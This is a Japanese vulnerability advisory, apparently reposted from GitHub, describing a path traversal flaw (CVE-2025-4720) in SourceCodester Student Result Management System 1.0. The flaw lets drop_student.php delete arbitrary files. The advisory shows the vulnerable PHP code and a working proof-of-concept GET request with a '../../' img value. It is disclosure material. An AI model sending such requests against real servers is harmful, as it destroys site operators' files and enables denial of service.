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duplicate-CVE-2025-4720- | Kitploit
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GitHubxmyronn/duplicate-cve-2025-4720-

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cve-srms-drop-student-path-traversal (CVE-2025-4720)(重複)

SourceCodester SRMS 1.0 における任意のファイル削除

説明

SourceCodester Student Result Management System(SRMS)1.0 の drop_student.php エンドポイントにパストラバーサルの脆弱性が存在します。

このアプリケーションは、img GET パラメータからユーザーが制御する入力を受け取り、検証なしにそのまま unlink() 関数へ渡すため、サーバー上の任意のファイルを削除できます。


脆弱なコード

root@kitploit:~
$img = $_GET['img'];

if ($img == "DEFAULT") {

} else {
    unlink('images/students/' . $img);
}

脆弱性の種類

  • CWE-22: パストラバーサル
  • 影響: 任意のファイル削除

概念実証(PoC)

  1. アプリケーションのルートにファイルを作成します: Screenshot 2026-04-04 013454
root@kitploit:~
C:\xampp\htdocs\srms_0\srms\new_test.txt
  1. 以下のリクエストを送信します: Screenshot 2026-04-04 013510
Screenshot 2026-04-04 013633
root@kitploit:~
GET /srms_0/srms/script/admin/core/drop_student.php?id=1&img=../../new_test.txt HTTP/1.1
Host: target
  1. ファイルがサーバーから削除されることを確認します。 Screenshot 2026-04-04 013650

影響

攻撃者は、Web サーバーからアクセス可能な任意のファイルを削除できます。これには以下が含まれます:

  • アプリケーション設定ファイル
  • ログ
  • アップロードされたコンテンツ

これにより、サービス拒否(DoS)やさらなる悪用につながる可能性があります。


補足

この脆弱性は、SRMS で以前に報告された問題とは異なる攻撃ベクトルを示しています。具体的には以下の特徴があります:

  • GET リクエストを使用すること
  • ファイルのアップロードを必要としないこと
  • CSRF を介して悪用される可能性があること

ベンダー

SourceCodester


製品

Student Result Management System (SRMS) https://www.sourcecodester.com/srms-makumbusho


バージョン

1.0


著者

Imad Alvi

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